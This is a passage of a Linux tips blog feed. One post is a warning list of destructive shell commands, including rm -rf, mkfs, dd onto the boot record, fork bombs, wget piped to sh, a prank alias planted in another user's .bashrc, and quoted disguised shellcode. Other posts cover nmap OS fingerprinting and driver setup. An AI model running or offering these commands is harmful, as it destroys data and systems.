src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-325514567287691329</id><published>2010-04-08T21:41:00.005+05:30</published><updated>2010-12-04T20:46:40.819+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><title type='text'>Linux deadly commands.</title><content type='html'>Here is a list of commands that can sabotage your pc &amp;amp; crashes it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1) &lt;span style="background-color: blue;"&gt;#rm -rf /&lt;/span&gt;&lt;br /&gt;This command will recursively and forcefully delete all the files inside the root directory.&lt;br /&gt;Other variants :&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 50px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;rm -rf .&lt;br /&gt;rm -rf *&lt;br /&gt;rm -r .[^.]*&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;2) A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 190px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;char esp[] __attribute__ ((section(".text"))) /* e.s.p&lt;br /&gt;release */&lt;br /&gt;= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"&lt;br /&gt;"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"&lt;br /&gt;"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"&lt;br /&gt;"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"&lt;br /&gt;"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"&lt;br /&gt;"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"&lt;br /&gt;"\x6e\x2f\x73\x68\x00\x2d\x63\x00"&lt;br /&gt;"cp -p /bin/sh /tmp/.beyond; chmod 4755&lt;br /&gt;/tmp/.beyond;";&lt;/pre&gt;&lt;/div&gt;However, this actually runs rm -rf ~ / &amp;amp; which will destroy your home directory as a regular user, or all files as root.  &lt;br /&gt;&lt;br /&gt;3) &lt;span style="background-color: blue;"&gt;#mkfs.ext3 /dev/sda&lt;/span&gt;&lt;br /&gt;This will reformat or wipeout all the files of the device that is mentioned after the mkfs command. &lt;br /&gt;Other variants.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 40px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;mkfs&lt;br /&gt;mkfs.ext3&lt;br /&gt;mkfs.anything&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;4)&amp;nbsp; &lt;span style="background-color: blue;"&gt;#:(){:|:&amp;amp;};:&lt;/span&gt;&lt;br /&gt;Infamous fork bomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.&lt;br /&gt;Further information at &lt;a href="http://linux-techy.blogspot.com/2010/03/fork-bomb-fire-in-hole.html"&gt;http://linux-techy.blogspot.com/2010/03/fork-bomb-fire-in-hole.html&lt;/a&gt;&amp;nbsp; &lt;br /&gt;In Perl&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;fork while fork&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;5)&amp;nbsp; &lt;span style="background-color: blue;"&gt;#any_command &amp;gt; /dev/sda&lt;/span&gt;&lt;br /&gt;With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.&lt;br /&gt;&lt;br /&gt;6) &lt;span style="background-color: blue;"&gt;#wget http://some_untrusted_source -O- | sh&lt;/span&gt;&lt;br /&gt;Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you. Above command is same as &lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 40px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;wget http://some_place/some_file&lt;br /&gt;sh ./some_file&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;7) &lt;span style="background-color: blue;"&gt;#mv /home/yourhomedirectory/* /dev/null&lt;/span&gt;&lt;br /&gt;This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8)&amp;nbsp; &lt;span style="background-color: blue;"&gt;#echo "alias ls='rm -rf /'" &amp;gt;&amp;gt; /home/personyoudontlike/.bashrc&lt;/span&gt; &lt;br /&gt;Creating a alias of ls command which means complete destruction. &lt;br /&gt;&lt;br /&gt;9) &lt;span style="background-color: blue;"&gt;#cat /dev/zero &amp;gt; /var&lt;/span&gt;&lt;br /&gt;it will write zeroes to /var or cat it to your favorite file to destroy.&lt;br /&gt;&lt;br /&gt;10) &lt;span style="background-color: blue;"&gt;#chmod 711 / &lt;/span&gt;&lt;br /&gt;Locksdown &amp;amp; freezes your system. &lt;br /&gt;Similar command #chmod 777 / &lt;br /&gt;&lt;br /&gt;11) &lt;span style="background-color: blue;"&gt;#dd if=/dev/zero of=/dev/hda bs=512 count=1&lt;/span&gt;&lt;br /&gt;(/dev/hda is just an example of which device you are booting from---these days with most disks being SATA, it's probably /dev/sda)&lt;br /&gt;Zeros out the MBR (master boot record) so you can no longer boot. You can of course zero out the entire drive by removing the "bs=512 count=1" directives.&lt;br /&gt;&lt;br /&gt;References&lt;br /&gt;&lt;a href="http://ubuntuforums.org/announcement.php?a=54"&gt;http://ubuntuforums.org/announcement.php?a=54&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-325514567287691329?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/325514567287691329/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/04/linux-deadly-commands.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/325514567287691329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/325514567287691329'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/04/linux-deadly-commands.html' title='Linux deadly commands.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-226792878746528101</id><published>2010-03-28T23:40:00.009+05:30</published><updated>2011-12-03T19:33:26.140+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><title type='text'>Running Windows Applications in Linux</title><content type='html'>Transitioning from Windows to Linux is often quite difficult for Linux beginners. There are plenty of solutions available in the market today which will provide you a platform to install a window software in Linux.&lt;a href="http://www.winehq.com/"&gt;&lt;br /&gt;Wine&lt;/a&gt; in one of the them. Many Linux OS have already started providing wine by default like &lt;a href="http://linuxmint.com/"&gt;linux Mint&lt;/a&gt;, &lt;a href="http://kubuntu.org/"&gt;Kubuntu&lt;/a&gt; etc. &lt;br /&gt;&lt;br /&gt;Wine is a compatibility layer for running Windows programs. It is a completely free alternative implementation of the Windows API consisting of 100% non-Microsoft code.&lt;br /&gt;&lt;br /&gt;Before you get started, you may want to check and confirm that the Windows program you want to install is in fact supported by Wine. Visit the &lt;a href="http://appdb.winehq.org/"&gt;Wine Application Database&lt;/a&gt; for a list of all the programs known to work in Wine, and at what level (fully supported, needs some tweaking, etc). &lt;br /&gt;&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/378pKWXzQrs&amp;hl=en_US&amp;fs=1&amp;border=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/378pKWXzQrs&amp;hl=en_US&amp;fs=1&amp;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;There is another software called &lt;a href="http://en.wikipedia.org/wiki/CrossOver"&gt;Crossover&lt;/a&gt;&lt;br /&gt;which requires registration. Visit this site &lt;a href="http://www.howtogeek.com/howto/linux/how-to-install-windows-applications-on-linux-using-crossover/"&gt;http://www.howtogeek.com/howto/linux/how-to-install-windows-applications-on-linux-using-crossover/&lt;/a&gt; for further information&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you don't want any hassle of installing packages in linux like Wine &amp;amp; Crossover, I suggest these alternatives.&lt;br /&gt;&lt;a href="http://i962.photobucket.com/albums/ae103/vik01ind/blog%20pics/osalt-visio.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="173" src="http://i962.photobucket.com/albums/ae103/vik01ind/blog%20pics/osalt-visio.png" width="200" /&gt;&lt;/a&gt;&lt;br /&gt;1&amp;gt; Search for open source alternatives. There are plenty of alternatives available in market like &lt;a href="http://www.gimp.org/"&gt;gimp&lt;/a&gt; instead of &lt;a href="http://www.adobe.com/products/photoshop/photoshop/"&gt;Photoshop&lt;/a&gt;, &lt;a href="http://www.openoffice.org/"&gt;openoffice&lt;/a&gt; instead of &lt;a href="http://office.microsoft.com/"&gt;Microsoft office&lt;/a&gt;, BriscCad instead of &lt;a href="http://en.wikipedia.org/wiki/AutoCAD"&gt;Autocad&lt;/a&gt;. &lt;br /&gt;I feel like, you are not satisfied yet. Goto &lt;a href="http://www.osalt.com/"&gt;www.osalt.com&lt;/a&gt;. &lt;br /&gt;On that site, you can enter the name of the Windows application and it will list the open source alternatives that provide similar functionality.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://i962.photobucket.com/albums/ae103/vik01ind/blog%20pics/vmware_server_windows_xp_firefox.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://i962.photobucket.com/albums/ae103/vik01ind/blog%20pics/vmware_server_windows_xp_firefox.jpg" width="200" /&gt;&lt;/a&gt;2&amp;gt; Run windows in a virtual machines. Some of the solutions available are &lt;a href="http://vmware.com/"&gt;VmWare&lt;/a&gt; &amp;amp; &lt;a href="http://www.virtualbox.org/"&gt;VirtualBox.&lt;/a&gt; Install windows inside linux &amp;amp; work in it. &lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: right;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://i962.photobucket.com/albums/ae103/vik01ind/blog%20pics/citrix-dreamweaver.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="125" src="http://i962.photobucket.com/albums/ae103/vik01ind/blog%20pics/citrix-dreamweaver.png" width="200" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Citrix&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;3&amp;gt; Run application in remote windows system. Ofcourse, this require extra resources. Most preferred application used are &lt;a href="http://www.rdesktop.org/"&gt;rdesktop&lt;/a&gt; &amp;amp; &lt;a href="http://en.wikipedia.org/wiki/Citrix"&gt;Citrix&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you want it other way round i.e. running linux software in windows,&lt;br /&gt;check this out --&amp;gt;&lt;a href="http://hacks-tweaks-security.blogspot.com/2010/04/creating-linux-environment-installing.html"&gt;http://hacks-tweaks-security.blogspot.com/2010/04/creating-linux-environment-installing.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: right;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-226792878746528101?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/226792878746528101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/03/running-windows-applcations-in-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/226792878746528101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/226792878746528101'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/03/running-windows-applcations-in-linux.html' title='Running Windows Applications in Linux'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i962.photobucket.com/albums/ae103/vik01ind/blog%20pics/th_osalt-visio.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-892081370386988376</id><published>2010-03-20T18:20:00.002+05:30</published><updated>2011-12-03T19:33:26.242+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><title type='text'>OS-Fingerprinting.</title><content type='html'>No firewalls can block icmp packets since its the basic way of communication &amp;amp; talking with the alive hosts. Many tools in linux use this protocol for OS fingerprinting such as &lt;a href="http://sourceforge.net/projects/sing/"&gt;sing&lt;/a&gt; &amp;amp; &lt;a href="http://www.hping.org/"&gt;hping2&lt;/a&gt;. First we need to know the alive hosts in a subnet.&lt;br /&gt;&amp;gt;for i in {1..254}; do ping -c1 192.168.0.$i; done |grep "ttl" &lt;br /&gt;This command will print all reply summary from alive hosts&lt;br /&gt;In this command, I'm using shell programming to ping all hosts in my subnet 192.168.0.0/24 .&lt;br /&gt;We can also use another application called fping.&lt;br /&gt;install &lt;a href="http://fping.sourceforge.net/"&gt;fping&lt;/a&gt; by executing command &lt;br /&gt;&amp;gt;sudo apt-get install fping&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; To query the network for alive hosts in the subnet 192.168.1.0/24 give the command. &lt;br /&gt;&amp;gt;fping -g 192.168.1.0/24 | grep "alive"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; or&lt;br /&gt;&amp;gt;fping -g 192.168.1.0 192.168.1.255 | grep "alive"&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now as we have found the alive ips we can continue to OS fingerprinting&lt;br /&gt;Install sing by command &amp;gt; sudo apt-get install sing &lt;br /&gt;For OS fingerprinting type sing -O ip_address&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There is another well known tool called &lt;a href="http://nmap.org/"&gt;NMAP&lt;/a&gt;, its glamourised in movies like MATRIX &amp;amp; Swordfish. It has varied options for playing around with the packets being send. &lt;br /&gt;&amp;gt;nmap -v -sP 172.17.191.0/24 |grep "up"&amp;nbsp; // scanning a subnet for alive ips&lt;br /&gt;&amp;gt;nmap -v -v -A 172.17.191.203&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // scanning a pc &lt;br /&gt;If this command don't works try "nmap -v -v -A -PN 172.17.191.203" forcing icmp packets.&lt;br /&gt;&lt;a href="http://nmap.org/zenmap/"&gt;Zenmap&lt;/a&gt; is another tool, which is GUI version of nmap. &lt;span id="goog_258984427"&gt;&lt;/span&gt;&lt;a href="http://www.gfi.com/lannetscan/"&gt;GFI languard&lt;/a&gt; &lt;span id="goog_258984428"&gt;&lt;/span&gt;is another famous tool.&amp;nbsp; &lt;br /&gt;Watch this video on OS fingerprinting using Zenmap&lt;br /&gt;&lt;object height="364" width="445"&gt;&lt;param name="movie" value="http://www.youtube.com/v/fq2BLgWvcwQ&amp;hl=en_US&amp;fs=1&amp;border=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/fq2BLgWvcwQ&amp;hl=en_US&amp;fs=1&amp;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="445" height="364"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Further reading .&lt;br /&gt;&lt;a href="http://nmap.org/book/osdetect.html"&gt;http://nmap.org/book/osdetect.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://nostromo.joeh.org/osf.pdf"&gt;http://nostromo.joeh.org/osf.pdf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-892081370386988376?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/892081370386988376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/03/os-fingerprinting.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/892081370386988376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/892081370386988376'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/03/os-fingerprinting.html' title='OS-Fingerprinting.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-2658889246917585567</id><published>2010-03-20T14:31:00.002+05:30</published><updated>2010-12-04T20:46:40.821+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><title type='text'>Fork BomB -- FIRE IN THE HOLE!</title><content type='html'>Here comes the fork bomb, it will explode &amp;amp; crash your system within minutes.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; color: #990000; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 480px;"&gt;&lt;span style="font-size: large;"&gt;$ :(){ :|: &amp;amp; };:&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;It’s actually a shell function;&amp;nbsp; :() denotes unnamed function with the body enclosed in {}. The statement ‘:|:’ makes a call to the function itself and pipes the output to another function call—which is the same function &amp;amp; puts all processes in the background and hence you can’t kill any process. Finally ‘;’ completes the function definition and the last ‘:’ initiates a call to this unnamed function. So it recursively creates processes and eventually your system will hang. This is one of the most dangerous Linux commands and may cause your computer to crash!&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Solution : How to avoid a fork bomb? Of course, by limiting the process limit; you need to edit /etc/security/limits.conf. Edit the variable nproc to user_name hard nproc 100. You require root privileges to modify this file.&lt;br /&gt;&lt;br /&gt;Above code is same as -&amp;gt; &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 480px;"&gt;forkbomb(){forkbomb|forkbomb&amp;amp;}; forkbomb&lt;/pre&gt;&lt;br /&gt;Check out this video from youtube about fork bomb prank.&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/_GTG8VWeZDY&amp;hl=en_US&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/_GTG8VWeZDY&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-2658889246917585567?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/2658889246917585567/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/03/fork-bomb-fire-in-hole.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2658889246917585567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2658889246917585567'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/03/fork-bomb-fire-in-hole.html' title='Fork BomB -- FIRE IN THE HOLE!'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-216428345951922614</id><published>2009-12-31T16:39:00.001+05:30</published><updated>2010-12-04T20:42:34.513+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux troubleshooting'/><title type='text'>Configuring Broadcom (bcm43xx) Wireless Adaptor in Linux!</title><content type='html'>Configuring wireless adaptor in linux wasn't an easy job few years back, but now some of the linux distribution have started providing inbuilt drivers with OS like Kubuntu, Mint etc. &lt;br /&gt;My laptop has broadcom wireless adaptor, which didn't responded to many of the linux distribution, until now when I came across Linux mint 7 (gloria). It detects my adaptor, by just choosing the STA proprietary wireless driver for it &amp;amp; works fine after that.&lt;br /&gt;Recently, I have found some of the methods to configure the wireless adaptor in different linux distributions.&lt;br /&gt;&lt;br /&gt;For&lt;b&gt; OpenSUSE&lt;/b&gt;, a 1-click install YMP file (YaST Metapackage file) is available from Packman. To install this, go to &lt;a href="http://packman.links2linux.org/"&gt;http://packman.links2linux.org/&lt;/a&gt; &amp;amp; search for broadcom-wl. Click on '1-click install' icon &amp;amp; follow the onscreen instructions.&lt;br /&gt;&lt;br /&gt;To get it working on&lt;b&gt; Mint 5&lt;/b&gt;, you can follow the instructions given at &lt;a href="http://www.linuxmint.com/wiki/index.php/Broadcom_bcm43xx"&gt;www.linuxmint.com/wiki/index.php/Broadcom_bcm43xx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;.As for &lt;b&gt;Fedora&lt;/b&gt;, its available in RPM fusion &amp;amp; for &lt;b&gt;Mandriva&lt;/b&gt;, there is Mandriva non free repositories.&lt;br /&gt;&lt;br /&gt;For &lt;b&gt;CentOS&lt;/b&gt;, follow instructions(this methodology is obtained from http://kiranjith83.blogspot.com/): &lt;br /&gt;Download wireless package from Broadcom&lt;br /&gt;Untar the file hybrid-portsrc-x86_32_5_10_27_6.tar.gz (hybrid-portsrc-x86_64_5_10_27_6.tar.gz if you’re running on a 64-bit kernel) in its own folder:&lt;br /&gt;&amp;gt;tar -xvzf hybrid-portsrc-x86_32_5_10_27_6.tar.gz&lt;br /&gt;You should now see this in your directory listing:&lt;br /&gt;hybrid-portsrc-x86_32_5_10_27_6.tar.gz&lt;br /&gt;lib&lt;br /&gt;Makefile&lt;br /&gt;src&lt;br /&gt;&lt;br /&gt;Add the following line to the file. Open file include/typedefs.h and add there the line below at header&lt;br /&gt;#define TYPEDEF_BOOL&lt;br /&gt;&lt;br /&gt;Without adding the header the compiling process exits with error&lt;br /&gt;Now build the Loadable Kernel Module (LKM) like so:&lt;br /&gt;&amp;gt;make -C /lib/modules/`uname -r`/build M=`pwd`&lt;br /&gt;&lt;br /&gt;Of course, you need to make sure you have all the required kernel headers before building it. Once that’s done, your directory listing should look like this:&lt;br /&gt;built-in.o&lt;br /&gt;hybrid-portsrc-x86_32_5_10_27_6.tar.gz&lt;br /&gt;lib&lt;br /&gt;Makefile&lt;br /&gt;modules.order&lt;br /&gt;Module.symvers&lt;br /&gt;src&lt;br /&gt;wl.ko&lt;br /&gt;wl.mod.c&lt;br /&gt;wl.mod.o&lt;br /&gt;wl.o&lt;br /&gt;&lt;br /&gt;The magic file we need is wl.ko. Make sure you don’t have b43, b43legacy or b43xx loaded by running this:&lt;br /&gt;&amp;gt;rmmod bcm43xx; rmmod b43; rmmod b43legacy&lt;br /&gt;&lt;br /&gt;And for good measure remove ndiswrapper modules:&lt;br /&gt;&amp;gt;rmmod ndiswrapper&lt;br /&gt;&lt;br /&gt;Now load the module ieee80211_crypt_tkip:&lt;br /&gt;&amp;gt;modprobe ieee80211_crypt_tkip&lt;br /&gt;&lt;br /&gt;And finally load the wl.ko module:&lt;br /&gt;&amp;gt;insmod wl.ko&lt;br /&gt;&lt;br /&gt;Now if you do an ifconfig, you should see wlan0 right after your eth0 and lo devices.Test it out by scanning and connecting to a network. If it works, then you might want your module to load upon boot, which is something the Broadcom readme doesn’t touch on. Let me school you how.&lt;br /&gt;Copy the wl.ko file to /lib/modules/2.6.26-1-686/kernel/net/wireless/&lt;br /&gt;&amp;gt;cp wl.ko /lib/modules/2.6.26-1-686/kernel/net/wireless/&lt;br /&gt;&lt;br /&gt;Create the module dependencies:&lt;br /&gt;&amp;gt;depmod -a&lt;br /&gt;&lt;br /&gt;Try loading your new module!:&lt;br /&gt;&amp;gt;modprobe wl&lt;br /&gt;&lt;br /&gt;If you get no error on modprobe, then it worked perfectly! Next you have to tell your system to load the module at startup. On my debian system, I do this by editing the file /etc/modprobe.conf to include the following:&lt;br /&gt;&amp;gt;alias wlan0 wl&lt;br /&gt;&lt;br /&gt;Now, reboot and you’ve got official Broadcom wifi.&amp;nbsp; &lt;br /&gt;If you Need to setup linux as router do as follows?&lt;br /&gt;Enable the ipforwarding and add the masqurade to eth0&lt;br /&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE &lt;br /&gt;***********************************************&lt;br /&gt;Do reply &amp;amp; post me methods of doing it in other &lt;br /&gt;linux OSs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-216428345951922614?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/216428345951922614/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2009/12/configuring-broadcom-bcm43xx-wireless.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/216428345951922614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/216428345951922614'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2009/12/configuring-broadcom-bcm43xx-wireless.html' title='Configuring Broadcom (bcm43xx) Wireless Adaptor in Linux!'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 